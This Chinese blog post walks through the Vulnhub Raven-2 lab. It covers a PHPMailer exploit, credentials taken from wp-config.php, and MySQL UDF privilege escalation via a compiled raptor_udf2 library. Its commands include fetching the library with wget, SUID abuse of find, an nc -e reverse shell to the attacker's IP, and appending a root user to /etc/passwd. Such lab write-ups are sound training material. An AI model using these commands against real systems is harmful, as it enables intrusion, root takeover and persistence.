您当前的位置: 首页 >  sql

葫芦娃42

暂无认证

  • 4浏览

    0关注

    75博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

[Vulnhub] Raven-2 (mysql-UDF提权)

葫芦娃42 发布时间:2022-07-16 21:15:58 ,浏览量:4

 目录

信息搜集

利用PHPMailer 版本漏洞拿shell

 UDF提权

 拓展

下载链接:Raven: 2 ~ VulnHub

描述

Raven 2 是一个中级的 boot2root 虚拟机。 有四个flag要捕获。 在多次违规之后,Raven Security 采取了额外的措施来强化他们的 Web 服务器,以防止黑客进入。你还能突破 Raven 吗?

信息搜集

sudo arp-scan -l

靶机ip:192.168.236.130

sudo nmap -O -T4 -A -p 1-65535 192.168.236.130 扫描一下开放的服务及端口

 dirb扫出来了 /vendor 和 /wordpress 目录 在PATH里得到了第一个flag

利用PHPMailer 版本漏洞拿shell

  之后利用 searchsploit里得到的40974.py的脚本 getshell (Raven-1里有提到 利用PHPMailer 版本漏洞拿shell)

 拓展:这种得到的shell是不稳定的。我们经常以ctrl+c就退出了,还需要重新反弹,很麻烦

具体操作:

进入 shell      ctrl+z 挂起进程之后

stty raw -echo 

再按 fg命令可以恢复进程到前台执行 这时我们的shell就是稳定的了。

进入 /tmp目录 find / -name flag*  我们溯源和找文件时用的

看见了flag2和flag3

 之后我们进入wordpress目录下

在 wp-config.php 里得到mysql的用户名和密码

(cat wp-config.php | egrep 'DB_USER|DB_PASSWORD')

 mysql -uroot -pR@v3nSecurity登录mysql

在wordpress 数据库里,wp_posts表中也看见flag3的信息

 在wp_users中得到了两位用户,michael和steven

这次密码哈希值和raven1不同,试了试没爆破出来。

select version(); 查看MYSQL版本

 UDF提权

看一下mysql版本以及环境条件,是否允许进行UDF提权

条件:

  • 知道mysql用户名和密码,并且可以远程登录
  • mysql有写入文件的权限,即secure_file_priv的值为空。

        show global variables like 'secure%';

        如果secure_file_priv值为NULL的话,代表限制mysql导入|导出,此时无法提权

        当 secure_file_priv 的值为/tmp/,表示限制mysqld 的导入|导出只能发生在/tmp/目录下,也无法提权

        当 secure_file_priv 的值没有具体值时,表示不对 mysqld的导入|导出做限制, 此时可提权!

        如果是 MYSQL >= 5.1 的版本,必须把UDF的动态链接库文件放置于 MYSQL的安装目录下lib/plugin 文件夹下才能创建自定义函数

        查看插件目录: show variable like '%plugin%'; 得知路径为:/uwr/lib/mysql/plugin/

         下面我们应该看看mysql是否能远程访问,如果可以的话,我们就可以直接用msf的远程脚本进行攻击,不能远程只能在本地的话,就只能

        查看是否能远程登录:

        use mysql;

        select user,host from user; 

 这里发现root用户不允许远程登录,只能本地访问,因此不能利用MSF提权。

我们首先应该下载一个恶意exp文件,搜索 mysql 5.x版本 UDF

这个漏洞在exploit database里的ID是1518

 之后我们回到kali 里 searchsploit 1518 找到脚本文件位置 下载下来

 Usage:  * $ id  * uid=500(raptor) gid=500(raptor) groups=500(raptor)  * $ gcc -g -c raptor_udf2.c(脚本文件名字,即1518.c)  之后会生成1518.o  * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc  * $ mysql -u root -p   #登录mysql  * Enter password:  * [...]  * mysql> use mysql;  * mysql> create table foo(line blob);   # table名字foo可自取  * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));

        # 上面.so 上传至的路径  我当时通过http 上传到了 /tmp目录下 即/tmp/1vxyz.so  * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';

       #应为 show variable like '%plugin%'; 得到的路径:/uwr/lib/mysql/plugin/  * mysql> create function do_system returns integer soname 'raptor_udf2.so';

        # 上传的脚本编译完之后的.so文件  * mysql> select * from mysql.func;  * +-----------+-----+----------------+----------+  * | name      | ret | dl             | type     |  * +-----------+-----+----------------+----------+  * | do_system |   2 | raptor_udf2.so | function |  * +-----------+-----+----------------+----------+  * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');  * mysql> \! sh  * sh-2.05b$ cat /tmp/out  * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

 * [...]  *  * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys

 

 Usage:

        第一步:gcc -g -c 1518.c     ---- GCC编译.o文件

        第二步:gcc -g -shared -o 1vxyz.so 1518.o -lc

                -g 生成调试信息

                -c 编译(二进制)

                -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件

                -o 执行命令后的文件名

                -lc -l 库 c库名

         执行完后生成了我们的 1vxyz.so 文件

        然后我们kali里开启一个http服务:python2 -m SimpleHTTPServer 8081(port)

        然后我们在shell里wget下载文件输入:

        wget  http://192.168.236.128:8081/1vxyz.so

 再次  mysql -uroot -pR@v3nSecurity  登入mysql,首先我们应该创建一个表,如何再创建一个任务,创建任务之后再调用这个.so,最终再调用.so其中的一个命令 这个命令会生成一个可执行的文件 输入一句话输入反弹shell命令,最终我们执行完这个命令后就获得root权限。

use mysql 进入mysql数据库

create 1vxyz(line blob) 创建 1vxyz这个表

 desc 1vxyz

 insert into 1vxyz values(load_file('/tmp/1vxyz.so'));  将文件插入到1vxyz表里

 1vxyz表里成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dunpfile是原数据导出!

新建存储函数:

        select * from 1vxyz into dumpfile '/usr/lib/mysql/plugin/1vxyz.so';

创建自定义函数do_system,类型是integer,别命(soname)文件名字,然后查询函数是否创建成功:

        create function do_system returns integer soname '1vxyz.so';

查看以下创建的函数:

        select * from mysql.func;

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

        select do_system('chmod u+s /usr/bin/find');

SUID提权

执行find命令

 使用find命令执行 shell

  touch 1vxyz

  find 1vxyz -exec "/bin/sh" \;

 或 find 1vxyz -exec "id" \;

python -c 'import pty;pty.spawn("/bin/bash");'

然后 cd /root 下 cat flag4.txt 得到flag4

 可看:MySQL UDF提权执行系统命令__udf提权

 拓展

 拓展1: 或者利用 sys_exec、sys_eval

        select do_system('nc -nv 192.168.236.128 6677 -e /bin/bash');

        kali里开启监听,nc -lvvp 6677

        python -c 'import pty;pty.spawn("/bin/bash");' 转化为交互式

 也可以得到root权限

拓展2:增加root用户

        openssl passwd gaga

        QhpF5eJu44j3I

        select do_system('echo "gaga:QhpF5eJu44j3I:0:0:root:/root:/bin/bash" >> /etc/passwd');

      su gaga

 拓展3:

        仅限/bin/bash             zsh不行

        python -c 'import pty;pty.spawn("/bin/bash")'; 转化为交互式后 ctrl+z

        stty raw -echo

        fg 即可把伪shell转换为正常的shell

关注
打赏
1658420143
查看更多评论
立即登录/注册

微信扫码登录

0.0775s